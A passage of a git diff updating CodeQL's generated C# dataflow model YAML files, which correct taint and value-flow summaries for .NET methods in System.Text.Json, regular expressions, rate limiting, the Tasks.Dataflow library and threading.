["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.JsonElement,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Nodes.JsonNode,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Nodes.JsonNode,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "summary", "df-generated"] + - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonSerializerOptions)", "summary", "df-generated"] + - ["System.Text.Json", "JsonSerializer", "Deserialize", "(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "DeserializeAsync", "(System.IO.Stream,System.Text.Json.Serialization.Metadata.JsonTypeInfo,System.Threading.CancellationToken)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "DeserializeAsync", "(System.IO.Stream,System.Type,System.Text.Json.JsonSerializerOptions,System.Threading.CancellationToken)", "summary", "df-generated"] - ["System.Text.Json", "JsonSerializer", "DeserializeAsync", "(System.IO.Stream,System.Type,System.Text.Json.Serialization.JsonSerializerContext,System.Threading.CancellationToken)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml b/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml index b70d8da3c91..83ab228ce7c 100644 --- a/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml +++ b/csharp/ql/lib/ext/generated/System.Text.RegularExpressions.model.yml @@ -9,7 +9,7 @@ extensions: - ["System.Text.RegularExpressions", "GeneratedRegexAttribute", False, "GeneratedRegexAttribute", "(System.String,System.Text.RegularExpressions.RegexOptions,System.Int32,System.String)", "", "Argument[0]", "Argument[this].Property[System.Text.RegularExpressions.GeneratedRegexAttribute.Pattern]", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "GeneratedRegexAttribute", False, "GeneratedRegexAttribute", "(System.String,System.Text.RegularExpressions.RegexOptions,System.Int32,System.String)", "", "Argument[3]", "Argument[this].Property[System.Text.RegularExpressions.GeneratedRegexAttribute.CultureName]", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "Group", False, "Synchronized", "(System.Text.RegularExpressions.Group)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.RegularExpressions", "GroupCollection", False, "TryGetValue", "(System.String,System.Text.RegularExpressions.Group)", "", "Argument[this].Element", "ReturnValue", "value", "dfc-generated"] + - ["System.Text.RegularExpressions", "GroupCollection", False, "TryGetValue", "(System.String,System.Text.RegularExpressions.Group)", "", "Argument[this].Element", "Argument[1]", "value", "dfc-generated"] - ["System.Text.RegularExpressions", "GroupCollection", False, "get_Keys", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.RegularExpressions", "GroupCollection", False, "get_Values", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Text.RegularExpressions", "Match", False, "NextMatch", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Text.Unicode.model.yml b/csharp/ql/lib/ext/generated/System.Text.Unicode.model.yml index 20d753a17d1..c4c2322beef 100644 --- a/csharp/ql/lib/ext/generated/System.Text.Unicode.model.yml +++ b/csharp/ql/lib/ext/generated/System.Text.Unicode.model.yml @@ -7,8 +7,6 @@ extensions: - ["System.Text.Unicode", "Utf8+TryWriteInterpolatedStringHandler", False, "TryWriteInterpolatedStringHandler", "(System.Int32,System.Int32,System.Span,System.Boolean)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - ["System.Text.Unicode", "Utf8+TryWriteInterpolatedStringHandler", False, "TryWriteInterpolatedStringHandler", "(System.Int32,System.Int32,System.Span,System.IFormatProvider,System.Boolean)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - ["System.Text.Unicode", "Utf8+TryWriteInterpolatedStringHandler", False, "TryWriteInterpolatedStringHandler", "(System.Int32,System.Int32,System.Span,System.IFormatProvider,System.Boolean)", "", "Argument[3]", "Argument[this]", "taint", "df-generated"] - - ["System.Text.Unicode", "Utf8", False, "TryWrite", "(System.Span,System.IFormatProvider,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.Text.Unicode", "Utf8", False, "TryWrite", "(System.Span,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel @@ -194,3 +192,5 @@ extensions: - ["System.Text.Unicode", "Utf8", "FromUtf16", "(System.ReadOnlySpan,System.Span,System.Int32,System.Int32,System.Boolean,System.Boolean)", "summary", "df-generated"] - ["System.Text.Unicode", "Utf8", "IsValid", "(System.ReadOnlySpan)", "summary", "df-generated"] - ["System.Text.Unicode", "Utf8", "ToUtf16", "(System.ReadOnlySpan,System.Span,System.Int32,System.Int32,System.Boolean,System.Boolean)", "summary", "df-generated"] + - ["System.Text.Unicode", "Utf8", "TryWrite", "(System.Span,System.IFormatProvider,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32)", "summary", "df-generated"] + - ["System.Text.Unicode", "Utf8", "TryWrite", "(System.Span,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Threading.RateLimiting.model.yml b/csharp/ql/lib/ext/generated/System.Threading.RateLimiting.model.yml index ccfb12aa0e6..4a3d0c9a820 100644 --- a/csharp/ql/lib/ext/generated/System.Threading.RateLimiting.model.yml +++ b/csharp/ql/lib/ext/generated/System.Threading.RateLimiting.model.yml @@ -10,9 +10,9 @@ extensions: - ["System.Threading.RateLimiting", "MetadataName", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Threading.RateLimiting.MetadataName`1._name]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading.RateLimiting", "MetadataName", False, "get_Name", "()", "", "Argument[this].SyntheticField[System.Threading.RateLimiting.MetadataName`1._name]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading.RateLimiting", "PartitionedRateLimiter", False, "CreateChained", "(System.Threading.RateLimiting.PartitionedRateLimiter[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.RateLimiting", "RateLimitLease", False, "TryGetMetadata", "(System.Threading.RateLimiting.MetadataName,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.RateLimiting", "RateLimitLease", False, "TryGetMetadata", "(System.Threading.RateLimiting.MetadataName,T)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Threading.RateLimiting", "RateLimitLease", True, "GetAllMetadata", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.RateLimiting", "RateLimitLease", True, "TryGetMetadata", "(System.String,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.RateLimiting", "RateLimitLease", True, "TryGetMetadata", "(System.String,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Threading.RateLimiting", "RateLimitLease", True, "get_MetadataNames", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.RateLimiting", "RateLimitPartition", False, "RateLimitPartition", "(TKey,System.Func)", "", "Argument[0]", "Argument[this].Property[System.Threading.RateLimiting.RateLimitPartition`1.PartitionKey]", "value", "dfc-generated"] - ["System.Threading.RateLimiting", "RateLimitPartition", False, "RateLimitPartition", "(TKey,System.Func)", "", "Argument[1]", "Argument[this].Property[System.Threading.RateLimiting.RateLimitPartition`1.Factory]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Threading.Tasks.Dataflow.model.yml b/csharp/ql/lib/ext/generated/System.Threading.Tasks.Dataflow.model.yml index d39b388a218..2c07b1a031b 100644 --- a/csharp/ql/lib/ext/generated/System.Threading.Tasks.Dataflow.model.yml +++ b/csharp/ql/lib/ext/generated/System.Threading.Tasks.Dataflow.model.yml @@ -25,7 +25,7 @@ extensions: - ["System.Threading.Tasks.Dataflow", "BroadcastBlock", False, "LinkTo", "(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "BroadcastBlock", False, "LinkTo", "(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "BroadcastBlock", False, "ReserveMessage", "(System.Threading.Tasks.Dataflow.DataflowMessageHeader,System.Threading.Tasks.Dataflow.ITargetBlock)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - - ["System.Threading.Tasks.Dataflow", "BroadcastBlock", False, "TryReceiveAll", "(System.Collections.Generic.IList)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks.Dataflow", "BroadcastBlock", False, "TryReceiveAll", "(System.Collections.Generic.IList)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "BufferBlock", False, "BufferBlock", "(System.Threading.Tasks.Dataflow.DataflowBlockOptions)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "BufferBlock", False, "LinkTo", "(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "BufferBlock", False, "LinkTo", "(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -48,7 +48,7 @@ extensions: - ["System.Threading.Tasks.Dataflow", "DataflowBlock", False, "ReceiveAsync", "(System.Threading.Tasks.Dataflow.ISourceBlock,System.TimeSpan,System.Threading.CancellationToken)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "DataflowBlock", False, "SendAsync", "(System.Threading.Tasks.Dataflow.ITargetBlock,TInput)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "DataflowBlock", False, "SendAsync", "(System.Threading.Tasks.Dataflow.ITargetBlock,TInput,System.Threading.CancellationToken)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] - - ["System.Threading.Tasks.Dataflow", "DataflowBlock", False, "TryReceive", "(System.Threading.Tasks.Dataflow.IReceivableSourceBlock,TOutput)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Threading.Tasks.Dataflow", "DataflowBlock", False, "TryReceive", "(System.Threading.Tasks.Dataflow.IReceivableSourceBlock,TOutput)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "IDataflowBlock", True, "get_Completion", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "JoinBlock", False, "JoinBlock", "(System.Threading.Tasks.Dataflow.GroupingDataflowBlockOptions)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "JoinBlock", False, "LinkTo", "(System.Threading.Tasks.Dataflow.ITargetBlock>,System.Threading.Tasks.Dataflow.DataflowLinkOptions)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -76,7 +76,7 @@ extensions: - ["System.Threading.Tasks.Dataflow", "WriteOnceBlock", False, "OfferMessage", "(System.Threading.Tasks.Dataflow.DataflowMessageHeader,T,System.Threading.Tasks.Dataflow.ISourceBlock,System.Boolean)", "", "Argument[1]", "Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._value]", "value", "dfc-generated"] - ["System.Threading.Tasks.Dataflow", "WriteOnceBlock", False, "ReleaseReservation", "(System.Threading.Tasks.Dataflow.DataflowMessageHeader,System.Threading.Tasks.Dataflow.ITargetBlock)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Threading.Tasks.Dataflow", "WriteOnceBlock", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading.Tasks.Dataflow", "WriteOnceBlock", False, "TryReceiveAll", "(System.Collections.Generic.IList)", "", "Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._value]", "ReturnValue.Element", "value", "dfc-generated"] + - ["System.Threading.Tasks.Dataflow", "WriteOnceBlock", False, "TryReceiveAll", "(System.Collections.Generic.IList)", "", "Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._value]", "Argument[0].Element", "value", "dfc-generated"] - ["System.Threading.Tasks.Dataflow", "WriteOnceBlock", False, "WriteOnceBlock", "(System.Func,System.Threading.Tasks.Dataflow.DataflowBlockOptions)", "", "Argument[0]", "Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._cloningFunction]", "value", "dfc-generated"] - addsTo: pack: codeql/csharp-all diff --git a/csharp/ql/lib/ext/generated/System.Threading.model.yml b/csharp/ql/lib/ext/generated/System.Threading.model.yml index 3872a5ad238..f90d92d7c26 100644 --- a/csharp/ql/lib/ext/generated/System.Threading.model.yml +++ b/csharp/ql/lib/ext/generated/System.Threading.model.yml @@ -22,31 +22,20 @@ extensions: - ["System.Threading", "ExecutionContext", False, "CreateCopy", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "ExecutionContext", False, "Run", "(System.Threading.ExecutionContext,System.Threading.ContextCallback,System.Object)", "", "Argument[2]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System.Threading", "HostExecutionContextManager", True, "SetHostExecutionContext", "(System.Threading.HostExecutionContext)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading", "Interlocked", False, "CompareExchange", "(System.IntPtr,System.IntPtr,System.IntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Interlocked", False, "CompareExchange", "(System.UIntPtr,System.UIntPtr,System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Interlocked", False, "CompareExchange", "(T,T,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Interlocked", False, "Exchange", "(System.IntPtr,System.IntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Interlocked", False, "Exchange", "(System.UIntPtr,System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Interlocked", False, "Exchange", "(T,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Boolean,System.Object)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Boolean,System.Object)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Boolean,System.Object,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Boolean,System.Object,System.Func)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Boolean,System.Object,System.Func)", "", "Argument[3].ReturnValue", "Argument[0]", "value", "dfc-generated"] - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Boolean,System.Object,System.Func)", "", "Argument[3].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Object,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "LazyInitializer", False, "EnsureInitialized", "(T,System.Object,System.Func)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "Lock", False, "EnterScope", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading", "ManualResetEventSlim", False, "get_WaitHandle", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading", "Mutex", False, "TryOpenExisting", "(System.String,System.Threading.Mutex)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "Overlapped", False, "Overlapped", "(System.Int32,System.Int32,System.IntPtr,System.IAsyncResult)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - ["System.Threading", "Overlapped", False, "Overlapped", "(System.Int32,System.Int32,System.IntPtr,System.IAsyncResult)", "", "Argument[3]", "Argument[this]", "taint", "df-generated"] - ["System.Threading", "PeriodicTimer", False, "PeriodicTimer", "(System.TimeSpan)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Threading", "PeriodicTimer", False, "PeriodicTimer", "(System.TimeSpan,System.TimeProvider)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Threading", "PeriodicTimer", False, "WaitForNextTickAsync", "(System.Threading.CancellationToken)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading", "ReaderWriterLock", False, "DowngradeFromWriterLock", "(System.Threading.LockCookie)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "ReaderWriterLock", False, "RestoreLock", "(System.Threading.LockCookie)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "RegisteredWaitHandle", False, "Unregister", "(System.Threading.WaitHandle)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Threading", "SemaphoreSlim", False, "WaitAsync", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading", "SemaphoreSlim", False, "WaitAsync", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -58,20 +47,11 @@ extensions: - ["System.Threading", "SynchronizationContext", True, "Send", "(System.Threading.SendOrPostCallback,System.Object)", "", "Argument[1]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["System.Threading", "Thread", False, "GetData", "(System.LocalDataStoreSlot)", "", "Argument[0].SyntheticField[System.LocalDataStoreSlot.Data].Property[System.Threading.ThreadLocal`1.Value]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "Thread", False, "SetData", "(System.LocalDataStoreSlot,System.Object)", "", "Argument[1]", "Argument[0].SyntheticField[System.LocalDataStoreSlot.Data].Property[System.Threading.ThreadLocal`1.Value]", "value", "dfc-generated"] - - ["System.Threading", "Thread", False, "VolatileRead", "(System.IntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Thread", False, "VolatileRead", "(System.Object)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Thread", False, "VolatileRead", "(System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Thread", False, "VolatileWrite", "(System.IntPtr,System.IntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Thread", False, "VolatileWrite", "(System.Object,System.Object)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Thread", False, "VolatileWrite", "(System.UIntPtr,System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "ThreadExceptionEventArgs", False, "ThreadExceptionEventArgs", "(System.Exception)", "", "Argument[0]", "Argument[this].SyntheticField[System.Threading.ThreadExceptionEventArgs.m_exception]", "value", "dfc-generated"] - ["System.Threading", "ThreadExceptionEventArgs", False, "get_Exception", "()", "", "Argument[this].SyntheticField[System.Threading.ThreadExceptionEventArgs.m_exception]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "ThreadLocal", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Threading", "ThreadPoolBoundHandle", False, "AllocateNativeOverlapped", "(System.Threading.PreAllocatedOverlapped)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Threading", "ThreadPoolBoundHandle", False, "get_Handle", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Threading", "Volatile", False, "Write", "(System.IntPtr,System.IntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Volatile", False, "Write", "(System.UIntPtr,System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Threading", "Volatile", False, "Write", "(T,T)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "WaitHandleExtensions", False, "GetSafeWaitHandle", "(System.Threading.WaitHandle)", "", "Argument[0].Property[System.Threading.WaitHandle.SafeWaitHandle]", "ReturnValue", "value", "dfc-generated"] - ["System.Threading", "WaitHandleExtensions", False, "SetSafeWaitHandle", "(System.Threading.WaitHandle,Microsoft.Win32.SafeHandles.SafeWaitHandle)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] - addsTo: @@ -208,12 +188,15 @@ extensions: - ["System.Threading", "Interlocked", "CompareExchange", "(System.Int16,System.Int16,System.Int16)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "CompareExchange", "(System.Int32,System.Int32,System.Int32)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "CompareExchange", "(System.Int64,System.Int64,System.Int64)", "summary", "df-generated"] + - ["System.Threading", "Interlocked", "CompareExchange", "(System.IntPtr,System.IntPtr,System.IntPtr)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "CompareExchange", "(System.Object,System.Object,System.Object)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "CompareExchange", "(System.SByte,System.SByte,System.SByte)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "CompareExchange", "(System.Single,System.Single,System.Single)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "CompareExchange", "(System.UInt16,System.UInt16,System.UInt16)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "CompareExchange", "(System.UInt32,System.UInt32,System.UInt32)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "CompareExchange", "(System.UInt64,System.UInt64,System.UInt64)", "summary", "df-generated"] + - ["System.Threading", "Interlocked", "CompareExchange", "(System.UIntPtr,System.UIntPtr,System.UIntPtr)", "summary", "df-generated"] + - ["System.Threading", "Interlocked", "CompareExchange", "(T,T,T)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Decrement", "(System.Int32)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Decrement", "(System.Int64)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Decrement", "(System.UInt32)", "summary", "df-generated"] @@ -223,12 +206,15 @@ extensions: - ["System.Threading", "Interlocked", "Exchange", "(System.Int16,System.Int16)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Exchange", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Exchange", "(System.Int64,System.Int64)", "summary", "df-generated"] + - ["System.Threading", "Interlocked", "Exchange", "(System.IntPtr,System.IntPtr)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Exchange", "(System.Object,System.Object)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Exchange", "(System.SByte,System.SByte)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Exchange", "(System.Single,System.Single)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Exchange", "(System.UInt16,System.UInt16)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Exchange", "(System.UInt32,System.UInt32)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Exchange", "(System.UInt64,System.UInt64)", "summary", "df-generated"] + - ["System.Threading", "Interlocked", "Exchange", "(System.UIntPtr,System.UIntPtr)", "summary", "df-generated"] + - ["System.Threading", "Interlocked", "Exchange", "(T,T)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Increment", "(System.Int32)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Increment", "(System.Int64)", "summary", "df-generated"] - ["System.Threading", "Interlocked", "Increment", "(System.UInt32)", "summary", "df-generated"] @@ -292,6 +278,7 @@ extensions: - ["System.Threading", "Mutex", "Mutex", "(System.Boolean,System.String,System.Boolean)", "summary", "df-generated"] - ["System.Threading", "Mutex", "OpenExisting", "(System.String)", "summary", "df-generated"] - ["System.Threading", "Mutex", "ReleaseMutex", "()", "summary", "df-generated"] + - ["System.Threading", "Mutex", "TryOpenExisting", "(System.String,System.Threading.Mutex)", "summary", "df-generated"] - ["System.Threading", "MutexAcl", "Create", "(System.Boolean,System.String,System.Boolean,System.Security.AccessControl.MutexSecurity)", "summary", "df-generated"] - ["System.Threading", "MutexAcl", "OpenExisting", "(System.String,System.Security.AccessControl.MutexRights)", "summary", "df-generated"] - ["System.Threading", "MutexAcl", "TryOpenExisting", "(System.String,System.Security.AccessControl.MutexRights,System.Threading.Mutex)", "summary", "df-generated"] @@ -311,9 +298,11 @@ extensions: - ["System.Threading", "ReaderWriterLock", "AcquireWriterLock", "(System.Int32)", "summary", "df-generated"] - ["System.Threading", "ReaderWriterLock", "AcquireWriterLock", "(System.TimeSpan)", "summary", "df-generated"] - ["System.Threading", "ReaderWriterLock", "AnyWritersSince", "(System.Int32)", "summary", "df-generated"] + - ["System.Threading", "ReaderWriterLock", "DowngradeFromWriterLock", "(System.Threading.LockCookie)", "summary", "df-generated"] - ["System.Threading", "ReaderWriterLock", "ReleaseLock", "()", "summary", "df-generated"] - ["System.Threading", "ReaderWriterLock", "ReleaseReaderLock", "()", "summary", "df-generated"] - ["System.Threading", "ReaderWriterLock", "ReleaseWriterLock", "()", "summary", "df-generated"] + - ["System.Threading", "ReaderWriterLock", "RestoreLock", "(System.Threading.LockCookie)", "summary", "df-generated"] - ["System.Threading", "ReaderWriterLock", "UpgradeToWriterLock", "(System.Int32)", "summary", "df-generated"] - ["System.Threading", "ReaderWriterLock", "UpgradeToWriterLock", "(System.TimeSpan)", "summary", "df-generated"] - ["System.Threading", "ReaderWriterLock", "get_IsReaderLockHeld", "()", "summary", "df-generated"] @@ -444,21 +433,27 @@ extensions: - ["System.Threading", "Thread", "VolatileRead", "(System.Int16)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileRead", "(System.Int32)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileRead", "(System.Int64)", "summary", "df-generated"] + - ["System.Threading", "Thread", "VolatileRead", "(System.IntPtr)", "summary", "df-generated"] + - ["System.Threading", "Thread", "VolatileRead", "(System.Object)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileRead", "(System.SByte)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileRead", "(System.Single)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileRead", "(System.UInt16)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileRead", "(System.UInt32)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileRead", "(System.UInt64)", "summary", "df-generated"] + - ["System.Threading", "Thread", "VolatileRead", "(System.UIntPtr)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.Byte,System.Byte)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.Double,System.Double)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.Int16,System.Int16)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.Int64,System.Int64)", "summary", "df-generated"] + - ["System.Threading", "Thread", "VolatileWrite", "(System.IntPtr,System.IntPtr)", "summary", "df-generated"] + - ["System.Threading", "Thread", "VolatileWrite", "(System.Object,System.Object)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.SByte,System.SByte)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.Single,System.Single)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.UInt16,System.UInt16)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.UInt32,System.UInt32)", "summary", "df-generated"] - ["System.Threading", "Thread", "VolatileWrite", "(System.UInt64,System.UInt64)", "summary", "df-generated"] + - ["System.Threading", "Thread", "VolatileWrite", "(System.UIntPtr,System.UIntPtr)", "summary", "df-generated"] - ["System.Threading", "Thread", "Yield", "()", "summary", "df-generated"] - ["System.Threading", "Thread", "get_CurrentThread", "()", "summary", "df-generated"] - ["System.Threading", "Thread", "get_ExecutionContext", "()", "summary", "df-generated"] @@ -549,11 +544,14 @@ extensions: - ["System.Threading", "Volatile", "Write", "(System.Int16,System.Int16)", "summary", "df-generated"] - ["System.Threading", "Volatile", "Write", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["System.Threading", "Volatile", "Write", "(System.Int64,System.Int64)", "summary", "df-generated"] + - ["System.Threading", "Volatile", "Write", "(System.IntPtr,System.IntPtr)", "summary", "df-generated"] - 